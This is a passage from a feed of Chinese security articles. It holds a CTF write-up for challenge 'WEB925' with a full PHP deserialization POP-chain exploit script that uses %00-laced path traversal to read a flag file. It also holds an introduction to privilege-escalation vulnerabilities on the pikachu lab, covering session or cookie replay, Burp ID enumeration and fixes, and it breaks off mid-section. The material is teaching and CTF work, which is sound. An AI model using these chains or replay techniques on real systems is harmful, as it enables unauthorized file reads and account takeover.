WEB925</strong></span></h1><p>反序列化要触发readfile函数读取flag，要找能够执行函数调用Onemore类的readfile方法，在suhasuha类的__set方法中($this-&gt;action)()存在函数调用点，因此要想办法触发__set魔术方法。在abaaba类中_get方法里存在$this-&gt;DoNotGet-&gt;$name = &#34;two&#34;的set链，因此需要将$this-&gt;DoNotGet设为suhashuha类，这样触发__get方法后尝试给suhasuha中的name参数赋值，触发suhasuha类中的__set方法。</p><p>接下来的问题是，如何触发abaaba类的__get魔术方法，在abaaba类中本身存在的__toString魔术方法中存在get操作，可以触发__get魔术方法，接着考虑如何触发abaaba类的__toString魔术方法，往下看在One类中的__destruct方法中可以将$count参数当字符串使用，此处将abaaba类实例传入$count参数即可触发__toString魔术方法，综上，正向调用链为首先初始化一个abaaba类将suhasuha类赋给DoNotGet参数，再利用One-&gt;__toString-&gt;abaaba-&gt;__toString-&gt;abaaba-&gt;__get-&gt;suhasuha-&gt;__set-&gt;Onemore-&gt;readfile。</p><p>safe过滤函数过滤了/../../和其转义变形，用%00绕过即可。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">abaaba</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">protected</span> $DoNotGet;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">($s)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;1&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">$this</span>-&gt;DoNotGet = $s;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__get</span><span class="code-snippet__params">($name)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;2&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">$this</span>-&gt;DoNotGet-&gt;$name = <span class="code-snippet__string">&#34;two&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">$this</span>-&gt;DoNotGet-&gt;$name;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__toString</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;3&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">$this</span>-&gt;Giveme;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Onemore</span></span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> $file;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">readfile</span><span class="code-snippet__params">($f)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;4&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">$this</span>-&gt;file = <span class="code-snippet__keyword">isset</span>($f) ? $f : <span class="code-snippet__string">&#39;image&#39;</span>.<span class="code-snippet__keyword">$this</span>-&gt;file;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> file_get_contents(safe(<span class="code-snippet__keyword">$this</span>-&gt;file));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__invoke</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;5&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">$this</span>-&gt;filename-&gt;Giveme;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">suhasuha</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> $action;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__set</span><span class="code-snippet__params">($name, $value)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;6&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">$this</span>-&gt;Giveme = (<span class="code-snippet__keyword">$this</span>-&gt;action)();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">$this</span>-&gt;Giveme;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">One</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> $count;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;7&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">$this</span>-&gt;count = <span class="code-snippet__string">&#34;one&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__destruct</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#39;8&#39;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#34;try &#34;</span>.<span class="code-snippet__keyword">$this</span>-&gt;count.<span class="code-snippet__string">&#34; again&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">safe</span><span class="code-snippet__params">($path)</span></span>{</span></code><code><span class="code-snippet_outer">    $path = preg_replace(<span class="code-snippet__string">&#34;/.*\/\/.*/&#34;</span>, <span class="code-snippet__string">&#34;&#34;</span>, $path);</span></code><code><span class="code-snippet_outer">    $path = preg_replace(<span class="code-snippet__string">&#34;/\..\..*/&#34;</span>, <span class="code-snippet__string">&#34;!&#34;</span>, $path);</span></code><code><span class="code-snippet_outer">    $path = htmlentities($path);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> strip_tags($path);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$a = <span class="code-snippet__keyword">new</span> One();</span></code><code><span class="code-snippet_outer">$b = <span class="code-snippet__keyword">new</span> suhasuha();</span></code><code><span class="code-snippet_outer">$c = <span class="code-snippet__keyword">new</span> Onemore();</span></code><code><span class="code-snippet_outer">$d = <span class="code-snippet__keyword">new</span> abaaba($b);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$a-&gt;count = $d;</span></code><code><span class="code-snippet_outer">$b-&gt;action = [$c,<span class="code-snippet__string">&#34;readfile&#34;</span>];</span></code><code><span class="code-snippet_outer">$c-&gt;file = urldecode(<span class="code-snippet__string">&#34;/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">echo</span> urlencode(serialize($a));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">?&gt;</span></span></code></pre></section><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.335" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=77657558&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWibp2XaS9CV7K3szvibEAUpqGAXIV0rKq5FRNficX2du7qhOjV3iaIt3uYQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484265">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2c872112&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247484265%26idx%3D1%26sn%3Ddae899414ee7b95778f53db1ad128fa4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Aug 2022 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>越权漏洞简介</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247484106&amp;idx=1&amp;sn=fe1c080b2a7b90ee14159845902eeb36</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>fanbaowen</span> <span>2022-04-28 18:13</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=764a9818&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuTdoTlhPhu90dg4QvTvjicsUZaeIA8owFyJmRt2icUYWxWMibGlLbibOy7A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="margin-top: 0.5em;margin-bottom: 0.5em;"><strong><span style="font-size: 24px;">一、越权漏洞简述<br/></span></strong></h1><section style="text-indent: 2em;">越权漏洞指应用在检查授权时存在纰漏，使得攻击者在获得低权限用户账户后，利用一些方式绕过权限检查，访问或者操作其他用户或者更高权限。例如在图1.1中购物系统中A用户可以查询到B用户的订单信息，是为水平越权；普通用户获取管理员权限的功能，是为垂直越权。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5178571428571429" data-s="300,640" style="" data-type="png" data-w="672" src="https://wechat2rss.xlab.app/img-proxy/?k=b019aab0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuX4vACfV1I0iaibEQWJtLXs22wvYI7hnh7uSoKkk1H9nVJEWB9k67dhicw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.1 越权示意图<br/></p><section style="text-indent: 2em;">常见越权漏洞的利用方式有基于用户身份ID、基于对象ID、基于会话、未授权访问等。基于ID的方式通常替换SESSION或URL中的ID，查看别人的信息（如图1.2所示）；基于会话的方式为盗用他人的SESSION或COOKIE信息，从而顶替他人进行操作（如图1.3所示）。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.094890510948905" data-s="300,640" style="" data-type="png" data-w="822" src="https://wechat2rss.xlab.app/img-proxy/?k=f295b5e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JukUByO6fS9ELXT7lqQV47LM1XKAghLbicBq1TsDKJqhPsV3iaBl7dLmgA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.2 参数替换示意图<br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32517758484609316" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=26ef5031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuhN1KfhKSAeJCc73aicKibFVIB2qIfS2cmG6tdJcjlaqPa9a5iaQf3NtaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.3 SESSION替换示意图</p><section style="text-indent: 2em;">无论是什么字段，存在越权数据操作漏洞的web应用都没有对它们的归属账户进行判断，没有确认发起请求的账户是否具有操作的缺陷就直接执行了相应的命令。</section><section style="text-indent: 2em;">为了进一步搞清楚越权漏洞的原理，下面以pikachu靶场为例介绍漏洞形成的原因及简要加固措施。</section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p>水平越权</p></li></ul><section style="text-indent: 2em;">在登录Lucy账号的情况下，将url中的地址修改为lili就可以看到lili的个人信息，触发水平越权漏洞。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5763490241102182" data-s="300,640" style="" data-type="png" data-w="871" src="https://wechat2rss.xlab.app/img-proxy/?k=6be2d069&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JutWHkppz9k33QzgKrSQW3Sn0icFBKbmVGEYSZfOGUOFrop7NNQzuFvicg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.4 水平越权示意图<br/></p><section style="text-indent: 2em;">分析源码可以看到，在登录时后台将用户名和密码保存在session中，但读取用户信息时没有使用session进行校验。加固方法也很简单，添加一层if判断session中的用户名与当前用户名是否一致即可。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34814814814814815" data-s="300,640" style="" data-type="png" data-w="1215" src="https://wechat2rss.xlab.app/img-proxy/?k=ba1a2965&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuEREh4IicaAkFoUVhHy50lwjRkibEkwia02hoPqakBib8Aatu8cga9NF3AA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.5 水平越权源码分析——保存session</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2859375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=623befc4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JubhdgSSnuyx4siaicHxVVv0cyslIICqa2xLV2cnoicMicdOehNQ7q92oXyw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.6 水平越权源码分析——身份校验缺失</p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p>垂直越权</p></li></ul><section style="text-indent: 2em;">登录管理员账号可以看到，管理员有添加用户的权限，而普通账户则没有。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c6cbfbd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JusYaTJpBnyJbySrhovib8g9WIQOOqfr4rTLQofjCk6HQkpfmnCGm7XIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图1.7 管理员登录界面</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=199d1e3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JubxO7NzBHvG43AfTAeMdTkibIG4YSSfhbHeKdg2MhoPicff4ribMnk80SA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>8 普通用户登录界面</p><section style="text-indent: 2em;">首先登录管理员账户，在添加用户的界面填写信息、点击创建后抓包，发送到重放器（图<span style="text-align: center;">1.</span>9）。此时点击发包，查看用户列表新用户fanfan并未创建成功（图<span style="text-align: center;">1.</span>10）。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.64375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=918ffb3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuQUTGoyz2QxWyUuMzDKyiazWvk4llxQFbnFyGRiaaD3pdll36gPScvxlw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>9 创建用户抓包</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=94511790&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3Jucy3ChnZ39iaQibV2Ik8iafuaFjv8XSRBbobGHPcLAXnQzgMuHz0saTubQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>10 此时未创建新用户</p><section style="text-indent: 2em;">退出管理员用户，登录普通用户（图<span style="text-align: center;">1.</span>11）。抓包获取cookie后替换重放器中的cookie，首先完成普通用户的登录（放包），然后在重放器中点击发送（图<span style="text-align: center;">1.</span>12），此时查看用户列表可以看到新用户添加成功（以普通用户的身份添加，图<span style="text-align: center;">1.</span>13），触发垂直越权漏洞。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.64375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f2d682d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JupfRusYBtYaODB7nIS3WTzXQ8iaiccQSqYSoY3ZTzibBUXrlhB4DmVAdbw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>11 普通用户登录抓包</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.64375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f0ba7c9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuVEaiaEoWxXSWNBx6RtCKkPptMMIkJWIM9REOBp2fLzSQr4fcKUT9ZbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>12 cookie替换，发生越权</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=23a6d2a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3Ju69oL1rVUA4YmMOMvvian7icujCnYQKiaM5BQia7MaAIKNFZiaIIKO0nrw1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>13 普通用户新建用户成功</p><p>     分析源码可以发现在登录时会校验用户的权限，不同权限进入不同的页面。但在新建用户插入数据库时，没有校验权限，导致漏洞出现。防御措施很简单，在插入数据库前校验用户的level。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42789598108747046" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=8432e3ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JueBJ1BfLttBOOGm8mnqOia9rWlE9LA6nXd8j5GHZbichg0xSMBznibnYag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>14 垂直越权源码分析——登录权限校验</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=04ad1554&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3Ju0HtMJpqfCpq3yQfMoJ7ic4IibzpDCGzPK64gY7Xt4QNMCZfXKdseJ4jA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图<span style="text-align: center;">1.</span>15 垂直越权源码分析——权限校验缺失</p><p style="margin-top: 0.5em;margin-bottom: 0.5em;"><strong><span style="font-size: 24px;">二、漏洞检测</span></strong></p><p>目前越权漏洞的检测更多依赖人工进行，自动化方法是未来的发展方向。</p><p style=""><span style="font-size: 18px;">（一）人工检测</span></p><section style="text-indent: 2em;">对于水平越权漏洞，暴力遍历是一种很好的渗透测试方法。该方法利用burp suite遍历一组ID， 进行批量检测，如图2.1所示。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6652173913043479" data-s="300,640" style="" data-type="jpeg" data-w="690" src="https://wechat2rss.xlab.app/img-proxy/?k=607ee497&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuyicykAVvc3bSoyQ154K0ibyiaysL1HetuRHko3nMiayvKMrgXcg3WIfmHQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;">图2.1 使用burpsuite进行遍历<br/></p><section style="text-indent: 2em;">另一种更为常见的方式是流量重放，流程图如图2.2所示。该方法首先登录高权限账户A并发起一次数据操作的请求，使用抓包工具拦截该请求数据包并复制SESSION，此时登录低权限用户B，替换SESSION后重放，低权限用户B实现了越权操作。在金融领域中，可对UKEY进行校验后的新增操作进行抓包，替换SESSION后重放，可以实现无需UKEY校验的任意次操作。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.816414686825054" data-s="300,640" style="" data-type="png" data-w="463" src="https://wechat2rss.xlab.app/img-proxy/?k=e4befcb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuXW3mR1Js2cSqszeTBSibltwF9nmSE3WudJLS9gS4OXJlCBUYDxbcuKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图2.2 流量重放步骤图<br/></p><p style=""><span style="font-size: 18px;">（二）自动化检测</span></p><section style="text-indent: 2em;">自动化检测方法相比手动，是在流量获取环节提升了自动化的程度。图2.3所示为自动化越权漏洞检测方法架构图。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5052935514918191" data-s="300,640" style="" data-type="png" data-w="1039" src="https://wechat2rss.xlab.app/img-proxy/?k=5fbac915&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JueVS605KkAhcAMShiaIL1aict5Bvx154prRNaHUpCldpDkC6C22bIwFibA%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;text-align: center;">图2.3 自动化方法架构图<br/></p><section style="text-indent: 2em;">方法分为系统认证、流量获取和越权判断三个步骤：</section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p>系统认证即登录环节。</p></li><li><p>流量获取是提升自动化程度的重要阶段，动态爬取方法使用无界面浏览器爬虫对站点进行动态的爬取；在有流量网关的情况下，可以直接从流量网关抓取流量，从流量网关中筛选出目标的请求即可；或通过在测试人员的浏览器中安装插件并配置好测试系统相关信息后，在测试人员手动点击待测功能，就可以通过插件或代理服务器等方式收集到待测流量。</p></li><li><p>在流量对比阶段，对于垂直越权，只需要再对不同身份下的请求做个减法便可以得到不属于该身份的请求。但是对于一些公共接口还是需要通过手动判断或者通过关键字白名单的方式进行过滤。对于水平越权，一些简单的站点可以根据表单中的禁止编辑属性以及返回信息等属性来得到判断依据，更为复杂的仍需人工判断。一种批量对比的方法是统一修改认证信息，通过对比重放前后的返回信息内容进行判断是否存在越权。</p></li></ul><section style="text-indent: 2em;">使用爬虫方法的流程图如图2.4所示。可以看出在验证部分仍需要手动替换信息、重放流量包。自动化检测是未来研究的热门方向。<br/></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.41083743842364534" data-s="300,640" style="" data-type="png" data-w="1015" src="https://wechat2rss.xlab.app/img-proxy/?k=e6bff0be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JuYbB4CiaPXHbC8BSMicW18za4kEEECGcGXXzNSudaQHzGbC9ozk5I924w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图2.4 使用爬虫的自动化方法流程图</p><p style="margin-top: 0.5em;margin-bottom: 0.5em;"><strong><span style="font-size: 24px;">三、防守策略</span></strong></p><p style=""><span style="font-size: 18px;">（一）安全管控左移</span></p><section style="text-indent: 2em;">针对业务类逻辑漏洞，我们可以充分发挥甲方的优势，采用威胁建模的方法，在项目进入设计阶段前就建立起漏洞的预防链，如图3.1所示。例如在某个系统中的“查询、展示”场景中，就要考虑接口对应的代码、接口对应的业务、接口返回的数据、接口的数据来源等等中可能存在的安全风险。一次完整的威胁建模可以将服务、应用，甚至依赖包等都纳入风险分析的范围内。</section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4793388429752066" data-s="300,640" style="" data-type="png" data-w="1210" src="https://wechat2rss.xlab.app/img-proxy/?k=35edadd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJics68qCL4666tHPdTUh3JucgVW3lJfgcA66a5anxqkib99cUzJP3PEqjWAqA5dr8icQBicu5kD4OxEQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图3.1 威胁建模方法的应用<br/></p><p><span style="font-size: 18px;">（二）开发者应注意的地方</span></p><section style="text-indent: 